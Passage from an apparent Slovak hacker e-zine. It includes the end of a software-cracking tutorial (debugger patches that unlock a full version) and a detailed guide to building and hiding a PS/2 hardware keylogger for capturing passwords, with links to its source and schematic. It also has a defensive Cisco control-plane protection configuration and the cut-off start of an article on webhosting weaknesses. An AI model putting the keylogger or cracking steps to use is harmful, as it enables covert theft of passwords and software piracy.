    006295EB C740 18 000000>MOV DWORD PTR DS:[EAX+18],0A
    006295F2 90 NOP

    Program opat zrestartujeme a aplikujeme oba nase patche.


    Teraz, ked uz vsetko bezi, ako ma, vyrobime len vyslednu binarku. Opat
    restartneme program a opatchujeme. Teraz rightclick -> Copy to
    executable -> all modifications. To nam zobrazi dump nasej novej
    binarky, tu uz len ulozime (rightclick -> save file).


    Tuto novu binarku uz len otestujeme mimo debuggera a zistime, ze
    vsetky funkcie su spristupnene ako v plnej verzii.


    Prijemne chvile pri crackovani inych programcekov praje awk.


    navrat na obsah

    co ty na to ? board




    bastlime si hadware keylogger


    Uvodom


    Takze, preberieme si ako vlastne v principe taky hw keylogger funguje, ako ho
    v praxi zbastlit s doma dostupnym naradim a realne kupitelnymi suciastkami,
    ako sa proti nemu branit, + ake technologie su dnes "pravdepodobne" dostupne
    tymi co maju prostriedky, + co by sme na nasej hracke mohli vylepsit.


    Teoria


    Budeme sa zaoberat iba AT klavesnicami, starsie XT uz prenechame historikom.
    Klavesnica, pred ktorou sedite, ma pravdepodobne PS/2 konektor. (USB budeme
    riesit neskor) Ak ma nahodou DIMM konektor, nebude to pre nas problem, pridame
    iba dimm->ps/2, a ps/2->dimm redukcie, a mozme sa tvarit ze pracujeme s
    ps/2 klavesnicou. PS/2 konektor ma 6 pinov:


    ^
    6 5
    4 4
    > 2 1 <

    1 DATA (data line)
    2 nic
    3 GND
    4 +5V
    5 CLK (clock line, "nosna")
    6 nic

    (teda, to je popis konektoru veduceho z klavesnice, port v motherboarde bude
    logicky opacny)


    Pracuje sa s 0V-5V logikou, frekvencia moze byt v zavislosti od vyrobcu
    10-30 Khz, jeden poslany blok dat ma velkost 11 bitov - start bit (0), 1 byte
    v little endiane, teda najmenej vyznamny bit ide prvy, 1 bit neparnej parity
    a stop bit (1).


    Data sa posielaju po DATA lajne, po CLK lajne sa prenasa synchronizacny
    "nosny" signal, bit na DATA lajne sa precita vzdy s padajucou hranou CLK,
    (tj. pri prechode z 5 na 0 na CLK).


    Protokol pouzivany pri vymene informacii medzi klavesnicou a pocitacom je
    kapitola sama o sebe. Prva "zrada" je, ze je obojsmerny, tj. klavesnica
    posiela data pocitacu (typicky stlacene klavesy), ale obcas potrebuje aj
    pocitac nieco posepkat klavesnici (zapni si capslock, resetuj sa, posli mi
    to znova...). V takom pripade stiahne dole CLK lajnu na viac ako 60
    mikrosekund, klavesnica pochopi ze uz nehovori ona, ale ma pocuvat, a tak
    pocuva. To sa nam bude v nasom keyloggeri pomerne blbo osetrovat, a tak sa
    radsej budeme hrat na kapra, a takuto udalost ignorovat.


    Druhou zradou su scankody. Klavesnica ma typicky do 110 znakov, niektore s
    tlacitkami typu "uvar mi caj","spusti mi kalkulacku" mozno tak max. 150.
    1 byte, ktory sa posiela v jednom bloku dat, moze niest 2^8=256 hodnot.
    Jedinec idealista by povedal, ze tak kazda klavesa dostane jednu hodnotu, a
    vybavene. Houby. Niektore klavesy su tzv. "specialne" a najprv sa posle
    hodnota "E0" (v hexa), a az potom samotny scankod klavesy, ktory vsak nemusi
    byt nutne unikatny, tj. rovnaky scankod moze exitovat aj pre nespecialnu
    klavesu. Ehm. Ale to nie je vsetko mili priatelia, navyse zadarmo dostanete aj
    klavesy, ktore produkuju smrst 4, ba i 8 byteov. Mozeme sa to pokusit zvalit
    na historicky vyvoj, pridavanie klaves a spa:tnu kompatibilitu, a mozme si z
    toho zaroven urobit nazorny priklad sialene navrhnuteho protokolu;) My budeme
    specialne klavesy cielene nelogovat, a dlhsie smrste ignorovat. Akekolvek
    pripadne neskor pridane klavesy by mali byt minimalne specialne.


    Scankody pouzivane v AT protokole nemaju nic spolocne s ascii scankodmi.
    Keby sme ich chceli medzi sebou prevadzat, museli by sme pouzit tabulku,
    ziadna zavislost neexistuje.



    ,-------,---,---,---,---,,---,---,---,---,,---,---,---,---, ,-----,-----,-----,
    |ESC |F1 |F2 |F3 |F4 ||F5 |F6 |F7 |F8 ||F9 |F10|F11|F12| |PSCRN|SLOCK|BREAK|
    |110 |112|113|114|115||116|117|118|119||120|121|122|123| |124 |125 |126 |
    '-------'---'---'---'---''---'---'---'---''---'---'---'---' '-----'-----'-----'

    ,---,---,---,---,---,---,---,---,---,---,---,---,---,-----, ,-----,-----,-----, ,-----,-----,-----,-----,
    |~ |1 |2 |3 |4 |5 |6 |7 |8 |9 |0 |- |= |<- | |INS |HOME |PGUP | |NLOCK|/ |* |- |
    |1 |2 |3 |4 |5 |6 |7 |8 |9 |10 |11 |12 |13 |15 | |75 |80 |85 | |90 |95 |100 |105 |
    |---',--',--',--',--',--',--',--',--',--',--',--',--',----| |-----|-----|-----| |-----|-----|-----|-----|
    |TAB |Q |W |E |R |T |Y |U |I |O |P |[ |] | | |DEL |END |PGDN | |7 |8 |9 |+ |
    |16 |17 |18 |19 |20 |21 |22 |23 |24 |25 |26 |27 |28 |29 | |76 |81 |86 | |91 |96 |101 |106 |
    |----',--',--',--',--',--',--',--',--',--',--',--',--'----| '-----'-----'-----' |-----|-----|-----|-----|
    |CAPS |A |S |D |F |G |H |J |K |L |; |, |ENTER | |4 |5 |6 | |
    |30 |31 |32 |33 |34 |35 |36 |37 |38 |39 |40 |41 |43 | |92 |97 |102 | |
    |-----',--',--',--',--',--',--',--',--',--',--',----------| ,-----, |-----|-----|-----|-----|
    |SHIFT |Z |X |C |V |B |N |M |, |. |/ |SHIFT | |UP | |1 |2 |3 |ENTER|
    |44 |46 |47 |48 |49 |50 |51 |52 |53 |54 |55 |57 | |83 | |93 |98 |103 |108 |
    |----,-',--'--,'---'---'---'---'---'---'--,'--,'-----,----| ,-----|-----|-----, |-----------|-----| |
    |CTRL| |ALT | SPACE |ALT| |CTRL| |LEFT |DOWN |RIGHT| |0 |. | |
    |58 | |60 | 61 |62 | |64 | |79 |84 |89 | |99 |104 | |
    '----'--'-----'---------------------------'---'------'----' '-----'-----'-----' '-----------'-----'-----'

    ,---,-----, ,---,-----, ,---,-----, ,---,-----, ,---,-----, ,---,-----, ,---,-----, ,---,-----,
    |KEY|AT | |KEY|AT | |KEY|AT | |KEY|AT | |KEY|AT | |KEY|AT | |KEY|AT | |KEY|AT |
    |# |(HEX)| |# |(HEX)| |# |(HEX)| |# |(HEX)| |# |(HEX)| |# |(HEX)| |# |(HEX)| |# |(HEX)|
    |---|-----| |---|-----| |---|-----| |---|-----| |---|-----| |---|-----| |---|-----| |---|-----|
    |1 |0E | |2 |16 | |3 |1E | |4 |26 | |5 |26 | |6 |25 | |7 |2E | |8 |36 |
    |9 |3D | |10 |46 | |11 |45 | |12 |4E | |13 |55 | |14 |-- | |15 |66 | |16 |0D |
    |17 |15 | |18 |1D | |19 |24 | |20 |2D | |21 |2C | |22 |35 | |23 |3C | |24 |43 |
    |25 |44 | |26 |4D | |27 |54 | |28 |5B | |29 |5D | |30 |58 | |31 |1C | |32 |1B |
    |33 |23 | |34 |2B | |35 |34 | |36 |33 | |37 |3B | |38 |42 | |39 |4B | |40 |4C |
    |41 |52 | |42 |-- | |43 |5A | |44 |12 | |45 |-- | |46 |1A | |47 |22 | |48 |21 |
    |49 |2A | |50 |32 | |51 |31 | |52 |3A | |53 |41 | |54 |49 | |55 |4A | |56 |-- |
    |57 |59 | |58 |14 | |59 |-- | |60 |11 | |61 |29 | |62 |E011 | |63 |-- | |64 |E014 |
    |65 |-- | |66 |-- | |67 |-- | |68 |-- | |69 |-- | |70 |-- | |71 |-- | |72 |-- |
    |73 |-- | |74 |-- | |75 |E070 | |76 |E071 | |77 |-- | |78 |-- | |79 |E06B | |80 |E06C |
    |81 |E069 | |82 |-- | |83 |E075 | |84 |E072 | |85 |E07D | |86 |E07A | |87 |-- | |88 |-- |
    |89 |E074 | |90 |77 | |91 |6C | |92 |6B | |93 |69 | |94 |-- | |95 |E04A | |96 |75 |
    |97 |73 | |98 |72 | |99 |70 | |100|7C | |101|7D | |102|74 | |103|7A | |104|71 |
    |105|7B | |106|79 | |107|-- | |108|E05A | |109|-- | |110|76 | |111|-- | |112|05 |
    |113|06 | |114|04 | |115|0C | |116|03 | |117|0B | |118|83 | |119|0A | |120|01 |
    |121|09 | |122|78 | |123|07 | |124|**1 | |125|7E | |126|**2 | |127|-- | |128|-- |
    '---'-----' '---'-----' ----'-----' ----'-----' '---'-----' '---'-----' ----'-----' ----'-----'

    **1 = E012E07C
    **2 = E11477E1F014F077


    Ako ste si iste vsimli, scancody su rozhadzane bez zmysluplnejsej logiky (teda
    pre nas, oni tak su kvoli stvorcovej sieti vodicov v klavesnici, aspon tej
    povodnej;)), co z toho pre nas vyplyva si nechame na neskor.




    Standardne by sitauacia na zbernici mala vyzerat nasledovne:



    ak klavesnica posiela data do pocitaca:


    __ __ __ __ __ __ __ __
    | Clock | | | | | | | | | | | | | |
    |_________| |_____| |_____| |_____| |_____| |_____| |_____| |_____

    | | | | | | | |
    ___________________________________________________________________________
    / / / / / /
    Data start X 0 X 1 X .. X 7 X Parita X Stop
    ______/_______/_______/_______/_______/_______/__________


    Klavesnica posle start-bit(0), potom scankod klavesy, potom paritny bit a
    stop bit(1).
    To sa stane ked klavesu stlacime. V pripade ze je scankod viacbajtovy, posiela
    sa sa viac krat cely blok(11bitov). Ked klavesu pustime, posle sa scankod "F0",
    ktory znaci release, a potom scankod klavesy ktora bola pustena. Samozrejme aj
    toto ma vynimku, a pri pusteni specialnej klavesy sa najprv posle "Special"
    byte "E0", a potom "F0" a az potom samotny scankod. Nehorazne prakticke;)


    Ked chce posielat data host klavesnici, stiahne CLK lajnu dole na aspon 60
    mikrosekund (typicky dvojnasobok casu, ktory by mu zabral jeden bit na CLK),
    a potom, ak klavesnica akceptovala jeho prerusenie zacne posielat data.
    Najdolezitejsie takto posielane veci su stav capsloku a numlocku, a hlavne
    ziadost o znovuposlanie scankodu (+pripadne reset,...). Nas, teda keylogger
    bude aktivne zaujimat iba keyboard to host prenos dat.


    AT protokol je este hodne rozvetvenejsi, s roznymi vynimkami, ale tie budeme
    pre nase potreby ignorovat.


    Nasa hracka sa teda bude napajat priamo z napajania klavesnice. Budeme pocuvat
    na CLK lajne, a v momente ked chytime padajucu hranu, vypocujeme si cely blok.
    Ten potom dalej spracujeme, a pripadny vysledok ulozime. Teda budeme potrebovat
    mikroprocesor, eeprom pama:t na ukladanie dat, + nejake tie pomocne suciastky.


    Prax


    Takze, ako na to? Budeme vychadzat z uz hotoveho projektu,
    tu [1] sa da najst navod ako
    vyrobit jednoduchy hw keylogger. Zariadenie tu popisane prinutime vypluvat
    znaky odpojenim klavesnice a stlacenim specialneho tlacitka na nom. Pre nase
    potreby pomerne neprakticke, radsej by sme ho predsa len aktivovali heslom,
    tym ziskame moznost zabudovat ho dovnutra do klavesnice, a nebyt pritom fyzicky
    viditelny. Dalej, na to aby sme boli data z neho schopny precitat potrebujeme
    specialnu aplikaciu (ktoru si navyse musime napisat, pretoze autori maju iba
    windowsoidnu). To sa nam tiez nepaci, najradsej by sme boli, keby to nasa
    hracka vedela vypluvat priamo do textaku. Takze som zobral ich verziu, a
    upravil ju k obrazu svojmu. Moju verziu mozme najst na
    [2].
    Je prepisana do trochu inej syntaxe assembleru, s ktorou pracuje mnou
    pouzivany [4].
    Bezi pod dosom, a v dosboxe s nim nie su problemy. Trochu bolo potrebne upravit
    aj schemu zapojenia, nova je
    tu [3].
    Moja verzia este nie je uplne dokonala, chybajuce veci a bugy su vypisane na
    zaciatku zdrojaku.


    Danou za to, ze prisafka vypluva data priamo do textaku je potreba odfiltrovat
    vsetky "special" klavesy, + shift, alt, atd... skratka budem vypluvat iba
    bezpecne znaky, ktore mi nijak nerozhodia terminal. Backspace interpretujem
    specialne ako b. Ono na bezne ucely (ehm, samozrejme vas autor tohto clanku
    nechce ani omylom naviest na nic nelegalne, ale keby ste to cisto teoreticky
    povazovali za bezny ucel), tj. odchytavanie hesiel, to plne postacuje, setri
    to kapacitu eepromky (napr. naco nam je logovanie sipiek nejakeho forbesaka?),
    a v pripade ze by sme chceli kompletne vsetky klavesy stlacene, ctenemu
    citatelovi nebude robit problem si prisafku jednoducho upravit.


    Zdrojovy kod v assembleri sem pastovat nebudem, ani ho popisovat, je
    okomentovany, a dufam ze samovysvetlujuci. Miesto toho sa este pozrieme na u
    nas prakticky zohnatelne suciastky:


    EEPROMKA sa da zohnat max. 512Kbit, (=. 64 000 stlacenych "normalnych" znakov)
    co je cca 26 hodin pri pisani 100 znakov za minutu, nam pri "beznom" userovi
    vydrzi kludne na tyzden, pripadne aj na (hodne) viac... Ak by sme chceli pouzit
    vacsiu (a niekde, napr. zo zahranicia by sme ju splasili), musime prepisat nas
    kod, pretoze 512KB este mozme odresovat 16bitmi, ale na viac uz potrebujeme
    byty aspon 3. Ale samozrejme ked budeme nutne potrebovat kapacitu, tak sa to
    da...


    Ostatne suciastky, pripadne velmi podobne ekvivalenty su lahko zohnatelne.
    Problem nastava s programatorom. Ten si je najlepsie, pokial mame moznost,
    od niekoho pozicat. (teda najlepsie je mat vlastny;) Ked nemame kde pozicat,
    mozeme si ho (ak mame cas) zbastlit napr. podla
    [5],
    pripadne si objednat nejaky lacnejsi (napr. ja pouzivam
    [6], jediny problem ze ma ovladace
    len pod widle). Celkove je pri programovani mikprocesorov dost problem s
    unixami, pretoze vacsina cenovo dostupnych amaterskych veci je ciste windowsna,
    v lepsom pripade dosova. (simulatory, programatory, kompilatory..)
    Prinajhorsom pouzijeme qemu ci wine.


    Ked uz mame naprogramovany chip, tak to cele zbastlime dokopy, na prvu verziu
    odporucam nechat si HODNE miesta medzi kontaktmi, aby ste predisli pripadnemu
    skratovaniu, hlavne ak nemate s pajkovanim prilis velke skusenosti. Ked bude
    vsetko fungovat, mozeme zacat miniaturizovat...


    Vychytavky


    Relativnym problemom je vyplutie celej eepromky do pocitaca, kedze to trva pri
    512Kb EEpromke cca 20 minut. Pri USB aj wireless verzii by tento problem
    odpadol.


    Keby sme sa chceli hrat na velmi tajnych, mali by sme cele zariadenie dokladne
    odtienit, pretoze ficime na 12Mhz, a standardny klavesnicovy kontroler iba na
    4Mhz. To by nas teoreticky mohlo odhalit, v praxi ale budeme dost radi, ked
    nas zacnu trapit taketo problemy;)


    Problemom je aj to, ze ignorujeme opravny protokol klavesnice, obcas, VELMI
    zriedka pri zdravej klavesnici sa nieco pokasle(napr. parita nesedi), a
    nastane tento pripad. V praxi to byva naozaj velmi zriedka. Ale su klavesnice,
    napr. ja som svoju prisafku na takej testoval, ktore maju jednu klavesu choru.
    (pripadne i viac) Uzivatel si to nestihne vsimnut, ale skoro vzdy ked sa
    klavesa stlaci, pocitac nerozmie, pripadne este raz, a az a treti(stvrty..)
    pokus sa prenos podari. Nam to vsak sposobuje hnusne problemy, lebo chvilu
    trva, kym potom znova chytime clock, teda mame parklavesove "okno". Tento
    problem bude treba v programe osetrit, ale je to pomerne hnusne a komplikovane,
    cim nepriamo davam do plena, keby sa niekomu chcelo...;)


    Cele by to fyzicky mohlo vyzerat
    takto [9]
    (pokusna verzia), alebo
    takto [10]
    (trocha zkompaktnene). Ta pokusna verzia je zbastlena vlastne podla uz
    spominaneho navodu [1],
    pri tej druhej je to napchane do standardnych PS/2 konektorov.


    Ochrana


    Ako sa proti hw keyloggerom branit? Tazko;) Podla pomerne pochybneho
    vyskumu [7]
    je prud odoberany nasou hrackou prilis maly, nez aby sa dal zachytit senzormi
    na motherboarde. Pokial nespravime chybu v spracovavani a filtrovani vstupu v
    nasej hracke, tak ani nijakymi divocinami posielanymi z pocitaca to nezistime.
    Pri rozumne dlhom a nahodnom hesle odpada aj moznost prist na keylogger
    nahodou.


    Ak je keylogger strceny medzi pocitac a kabel, mozeme ho samozrejeme najst
    fyzicky, ale co ak je vnutri v klavesnici? Pripadne na motherboarde?
    Rozoberiete kazdu klavesnicu ku ktorej si sadnete? Nezoberu vas skor do Bohnic?
    Klawiature skratka nemozno verit...


    Nudzovym riesenim, ak mame podozrenie ze dany pocitac nie je cisty,
    (pripadne ak to vieme iste;) je pouzit mys, a heslo si vycopy&pastovat.
    Uzite si 23znakove "bezpecne" heslo. Ale ked sa inak neda..


    Systemovym, a lepsim riesenim je nepouzivat iba identifikaciu heslom, ale
    pouzivat bud token, alebo aspon sukromny kluc. Pichnut usb flash, a pouzit tam
    ulozeny sukromny kluc je rozhodne ovela lepsim riesenim, a aj prakticky
    pouzitelnym. Samotne heslo skratka v dnesnej dobe (teda ak nesedite v
    zabetovanom a zabezpecenom bunkri) nestaci. Uplne najidealnejsie by bolo
    pouzivat nejaku smartkartu, ktora na zaklade vnutri ulozeneho sukromneho kluca
    vygeneruje jednorazovy autorizacny kluc, ale to je vec pomerne draha, ak
    nepracujete s skutocne cennymi informaciami, tak usb flash s sukromnym klucom
    plne postaci. (a ak s nimi pracujete, potom smartkartu uz aj tak pouzivate;)


    Vyssia liga, stay tuned


    Toto vsetko si je v domackych podmienkach schopny zbastlit prakticky kazdy so
    zakladnymi znalostami elektroniky. Vysledne zariadenie vyzera ako podivna
    redukcia, a pred laikom je mozno utajitelna. Ked mate mikropajku, pevne ruky a
    pristup k suciastkam, dokazete urobit verziu z SMD suciastiek, ktora uz bude
    vyzerat ako pomerne mala, nenapadna redukcia. Pripadne ju lahko schovate do
    klavesnice, a napr. aj dovnutra notebooku, kde sa na 99% pouziva v sucasnosti
    ps/2 klavesnica. (akurat nema ps/2 konektor, ale 6 dratikov ide vedla seba).
    Pomerne nebezpecne, ale...


    ale...


    ale co dokaze spravit clovek, ktory je schopnejsi ako ja, ma cas, peniaze,
    pristup k suciastkam,je plateny iba za cielom spravit co najdokonalejsie
    zariadenie? Navyse ak takych ludi date viac na kopu? S cim disponuju
    najroznejsie tajne sluzby? Z toho co som nasiel na nete (do ruky sa mi bohuzial
    nedostali) su dostupne keyloggere tak male, ze ani nevycnievaju z ps/2 portu,
    tj. zasuniete ich dnu, po nich aj ps/2 konektor, ktory bude tak o 2 milimetre
    trcat, ale to je vsetko. vsimne si niekto nieco take?;) Pokial presne nevie co
    hlada, skutocne tazko.


    Zvyknu sa navyse pouzivat wireless keyloggere, takze parchant sa uz na miesto
    cinu vratit nemusi, a iba harvestruje data. Okrem toho sa hovori o inych,
    ovela zakernejsich metodach, od infracervenych kamier velkosti spendlikovej
    hlavicky, ktore snimaju teplotu klaves, a z toho usudzuju co bolo stlacene,
    cez malicke plostice, ktore su po "nauceni" sa zvuku klaves schopne jednotlive
    klavesy rozlisovat, cez kamery klasicke....


    Tato fronta je voci tajnym sluzbam a im podobnym skutocne naplno prehrata,
    pretoze amater sa k potrebnym technologiam proste nedostane. Stay tuned...;)


    Vizie;)


    Inu, takze co sme schopni s nasim amaterskym pristupom z prisafky este vymlatit?


    Mozeme zaviest sifrovanie dat v eepromke, otazkou ostava naco? Aj ked su data
    v eeprome sifrovane, ak je utocnik dostatocne schopny, proste si zbrusi chip a
    precita odtial kluc ... navyse osmibitove procesory dnes typicky ponukaju iba
    64 bitovy DES (v praxi 56), co v pripade schopneho nepriatela je mozno
    zdrzanie, ale rozhodne nie ochrana.


    Mozeme spravit verziu na USB klavesnicu. Tam bude situacia prakticky rovnaka,
    iba prisafka bude narocnejsia na suciastky a rychlost, ale principy ostavaju.
    Protokol je sice trocha iny, ale zdokumentovany a je to predsa iba hranie sa
    s vstupom,nie?;)


    Mozeme spravit wireless prisafku. Princip ostane rovnaky, ale pouzijeme chip,
    so zabudovanym bezdratovym prijmacom/vysielacom, napr. mojho favorita
    cc1010 [8].
    Tato prisafka bude potom chytat data a ukladat do eepromky, a zaroven pocuvat
    na istej frekvencii. Ked jej pride tajny kluc, prisafka neleni, a ihned
    radiovo, sifrovane (zase asi len nas 56b DES;( ) vypluje co len budeme chciet.
    A potom zase cuci ako blcha, a tvari sa ze tam nie je. Druhy modul je pichnuty
    v usb notebooku, a pekne prijma data. Je ale treba napisat kopu kodu, protokol
    opravy chyb,... Ale, ked to uz raz budeme mat, otvara sa nam dalsia cesta,
    a sice vkladanie znakov do pocitaca cez nasu wireless prisafku, akasi vzdialena
    klavesnica. A to by bol znova skok o stupen dalej. Takto upravena prisafka uz
    bude pomerne na urovni, a schopna realneho nasadenia.


    Mohli by sme prejst z ATMEL na PIC architekturu. Par ludi mi tvrdilo ze je
    schopnych spravit hw keylogger iba pomocou samotneho mikrokontrolera.
    (niektore mikrokontrolery nepotrebuju externy krystal, kondenzatory, a ani
    startovaci kondenzator), miesto externej eepromky by sme pouzili internu
    eeprom pama:t mikroprocesoru. Ja osobne to zatial schopny spravit nie som,
    potreboval by som novy programator a prepisat cely kod, ale uzasne by to
    zjednodusilo celu konstrukciu (z 7 suciastiek 1). Mozno casom;)


    Zdroje & dalsie info


    Dalsie, a priebezne doplnovane info sa daju najst na
    https://hysteria.sk/~niekt0/prisafka .
    Casom snad pribudne aj USB a wireless verzia.


    zdroje:



    [1] http://www.keelog.com/diy.html



    [2] https://hysteria.sk/~niekt0/prisafka/prisafka.asm



    [3] https://hysteria.sk/~niekt0/prisafka/schema.jpg



    [4] https://hysteria.sk/~niekt0/prisafka/asm51.exe



    [5] http://www.hw.cz/Teorie-a-praxe/Konstrukce/ART476-PonyProg---programator-ATMEL-PIC-EEPROM...html



    [6] http://www.volny.cz/d72/pa3cz



    [7] http://www.irmplc.com/Docs/KeyLoggerWP.pdf



    [8] http://www.chipcon.com/index.cfm?kat_id=2&subkat_id=12&dok_id=55



    [9] https://hysteria.sk/~niekt0/prisafka/pokusna.jpg



    [10] https://hysteria.sk/~niekt0/prisafka/kompakt.jpg



    niekt0*hysteria*sk


    navrat na obsah

    co ty na to ? board




    Cisco control plane protection


    Bezpecnost, ano to je to slovicko ktore ludia neznali problematiky nemaju velmi
    v laske, kedze predstavuje nemalu polozku v rozpocte nejakeho projektu, avsak
    toto slovicko v sebe zahrna nielen frazu ale aj realnu hodnotu. Dnes si
    povieme nieco o zabezpeceni smerovacov z dielne Cisco pred DOS utokmi ci uz z
    vnutornej alebo vonkajsej siete, pripadne pred zahltenim vlastnej siete pod
    vplyvom "nezdravej" konvergencie.


    Jedna sa pomerne o novu technologiu u firmy cisco, ktora sa nazyva CPP, cize
    control plane protection.
    Ako uz nazov sam prezradza, tento kus kodu v IOSe bude pojednavat o
    zabezpeceni control planu, alebo casti kodu IOSu, ktora sa vykonava na
    procesore alebo v softweri.


    Na zaciatok by sme si mali povedat, ze su zakladne dve kategorie procesovania
    nejakeho kodu v IOS. To je bud v softweri alebo v hardweri, druha metoda je
    vyrazne priaznivejsia pre beh boxu ako takeho a je ovela menej narocna na
    prostriedky.


    Co nas ale zaujima je prave ochrana procesov, ktore sa vykonavaju na procesore.


    CPP je podporovana od nasledujucich verzii IOS-ov, uviedol som sem hlavne
    vyvojove vetvy a modely:


    Cisco 12000 Series Router
    Release 12.0(29)S

    Cisco 7600 Series
    Release 12.2(18)SXD1

    Cisco 6500 Series
    Release 12.2(18)SXD1

    Cisco 7200 Series
    Cisco 7500 Series
    Release 12.2(18)S

    Cisco 1751 Router
    Cisco 2600/2600-XM Series
    Cisco 3700 Series
    Cisco 7200 Series
    Release 12.3(4)T

    Cisco 1800 Series
    Cisco 2800 Series
    Release 12.3(8)T

    Cisco 3800 Series
    Release 12.3(11)T


    Pristupime k samotnej konfiguraci CPP, testovaci box: 6500 IOS: 12.2(18)SXF1


    Vytvorime si niekolko tried, cez ktore budeme kategorizovat traffic urceny pre
    dany routing switch.


    - copp-bgp: BGP traffic
    - copp-igp: IGP traffic
    - copp-management: management traffic
    - copp-reporting: reporting traffic
    - copp-monitoring: monitoring traffic
    - copp acl-critical-app: critical application traffic
    - copp-layer2: ARP traffic
    - copp-neziaduci: explicitne zahadzuje dany traffic, moze byt pouzite pre virusy

    Vytvorime si access-listy v ktorych budeme matchovat navrhnute triedy:


    BGP komunikacia medzi nasimi peerami.


    ip access-list extended copp-bgp
    remark CoPP BGP traffic class
    permit tcp host 10.1.1.1 host 10.2.2.2 eq bgp - BGP session
    permit tcp host 10.2.2.2 eq bgp host 10.1.1.1
    permit tcp host 10.3.3.3 host 10.2.2.2 eq bgp
    permit tcp host 10.2.2.2 eq bgp host 10.3.3.3

    Vybrali sme si OSPF ako interny protokol, kedze matchovanie CLNS pri ISIS
    nie je podporovane (zatial).

    ip access-list extended copp-igp
    remark CoPP IGP traffic class
    permit ospf any host 224.0.0.5 - komunikacia s DR a BDR
    permit ospf any host 224.0.0.6
    permit ospf any any

    v tomto access-list pouzivame protokoly sluziace na management, podla poradia:
    TACACS navratovy traffic, ssh traffic, telnet traffic, SNMP traffic, NTP
    traffic, FTP traffic, TFTP traffic

    ip access-list extended copp-management
    remark CoPP management traffic class
    permit tcp host 1.1.1.1 host 10.2.2.2 established
    permit tcp 10.4.4.0 0.0.0.255 any eq 22
    permit tcp 10.4.4.0 0.0.0.255 any eq telnet
    permit udp host 1.1.1.1 any eq snmp
    permit udp host 1.1.1.1 any eq ntp
    permit tcp host 10.2.2.2 eq ftp host 1.1.1.1
    permit tcp host 10.2.2.2 eq ftp-data host 1.1.1.1
    petmit tcp host 10.2.2.2 eq tftp 1.1.1.1

    Reporting je tiez dolezita vec, hlavne na meranie SLA. Na reporting pouzijeme
    SAA ktory bude generovat ICMP pingy s roznymi DSCP bitami v TOS byte, aby sme
    zistili odozvy pre rozne traffiky. DSCP1 pouzije ICMP s DSCP EF, DSCP2
    pouzije AF31, DSCP3 pouzije AF21 a najmenej dolezita trieda DSCP4 pouzije BE.
    Vytvorime aj access-list, aby sme specifikovali ICMP pingy zo SAA mashiny.
    Nakoniec pouzijeme match ip dscp v policy-mape.

    ip access-list extended copp-reporting
    remark CoPP reporting traffic class
    permit icmp host 10.4.4.4 host 10.1.1.1 echo


    Trieda monitoringu routing switcha:

    ip access-list extended copp-monitoring
    remark CoPP monitoring traffic class
    permit icmp any any ttl-exceeded
    permit icmp any any port-unreachable
    permit icmp any any echo-reply
    permit icmp any any echo

    Trieda kritickeho trafficu, ktora je dolezita v danom prostredi, matchujeme
    HSRP pouzivane na redundanciu a DHCP na pridelovanie adries.

    ip access-list extended copp-critical-app
    remark CoPP critical apps traffic class
    permit ip any host 224.0.0.2
    permit udp host 0.0.0.0 host 255.255.255.255 eq bootps
    permit udp host 10.4.4.4 eq bootps any eq bootps

    ACL-ko ktore obsahuje traffic, ktory by mal byt vzdy vynaty z processingu na
    procesore.


    ip access-list extended neziaduci

    remark nechceny traffic

    ... hoc aky virus, traffic ...



    Dane vytvorene access-listy aplikujeme do tried nasledovne:



    class-map match-all coppclass-bgp
    match access-group name copp-bgp
    class-map match-all coppclass-igp
    match access-group name copp-igp
    class-map match-all coppclass-management
    match access-group name copp-management
    class-map match-all coppclass-reporting
    match access-group name copp-reporting
    match ip dscp ef af31 af21 default
    class-map match-all coppclass-monitoring
    match access-group name copp-monitoring
    class-map match-all coppclass-critical-app
    match access-group name copp-critical-app
    class-map match-all coppclass-layer2 - L2 traffic
    match protocol arp
    class-map match-all coppclass-undesirable
    match access-group name copp-undesirable

    A teraz si ten presne specifikovany traffic trocha zapocitame/urezeme podla
    potreby :)

    policy-map copp-policy
    class coppclass-bgp
    police cir 10000000 bc 312500 be 312500 conform-action transmit exceed-action drop -

    POZOR na tieto parametre, nastavovat s citom.

    class coppclass-igp - Neobmedzene
    class coppclass-management
    police rate 100 pps conform-action transmit exceed-action transmit
    class coppclass-reporting
    police rate 30 pps conform-action transmit exceed-action transmit
    class coppclass-monitoring
    police rate 50 pps conform-action transmit exceed-action transmit
    class coppclass-critical-app
    police rate 75 pps conform-action transmit exceed-action transmit
    class coppclass-layer2
    police rate 20 pps conform-action transmit exceed-action transmit
    class coppclass-undesirable
    police rate 10 pps conform-action drop exceed-action drop


    Posledny krok je toto vsetko aplikovat na control-plane nasledovne:

    lab(config)#control-plane
    lab(config-cp)service-policy input copp-policy

    Kedze sme pouzili police, mozeme applikovat na input.


    Vysledok applikovania si mozeme pozriet :


    lab#show policy-map control-plane
    Control Plane
    Service-policy input: copp-policy
    Class-map: coppclass-bgp (match-all)
    2342 packets, 182676 bytes
    5 minute offered rate 0 bps
    Match: access-group name coppacl-bgp

    ......

    Pri otestovani danej technologie v labe odporucam pouzit tooly ako iperf a
    hping2, hlavne pri iperfe krasne vidiet ako control-plane posiela nadbytocne
    pakety na podlahu :)


    Na zaver by som upozornil na par buggov/featuriek, ktore sa vyskytli
    pri testovani a ktore vam mozu zapricinit neprijemnosti:


    1, Ako som uz spominal ziadna CLNS podpora na matchovanie do tried.

    2, Neakceptuje access-list ktory ma v riadku "log", musime pouzit duplikatny
    access-list bez "log" premien, zjavne je to koli tomu, ze cisco pri log
    premennej v access-liste puntuje packety o jednu triedu spracovania nizsie,
    v tomto pripade procesor, takze niet uz co policovat cez CPP.

    3, match-all v class-grupach pri access-listoch nefunguje, takze pozor na AND
    opercie v triedach. V tomto sa ma Cisco co to ucit od Junipera. Vyzera to tak,
    ze IOS-XR by v tomto mal byt flexibilnejsi.

    4, kazda classa by mala mat police entry inak je ignorovana.

    5, IPv6 aj ked nieje zdokumentovana, ale na policnuty traffic sa veselo
    vztahuje, takze ked peerujete IPv6 a budu sa vam stracat packety a nebudete
    vediet preco, skontrolujte si nastavenia CPP.



    Pouzite materialy:

    Cisco.com

    Lab


    iso(at)hysteria[dot]sk


    navrat na obsah

    co ty na to ? board






    Kvalita webhostingu u nas... aneb cURL [klapka] podruhe


    Urcite to znate, kazda firma ci user si dava na webhosting svoji webovou
    prezentaci s tim domenim, ze je tam v bezpeci, ale ne kazdy hosting je na
    tom tak dobre. Bez php by webhosting nebyl asi ten pravy a at uz je php 4 nebo
    5 dost rozsirene, stejne se obcas najde nekdo kdo na
    nejakou vychytavku, ktera neni na serveru zabezpecena prijde. A tak se
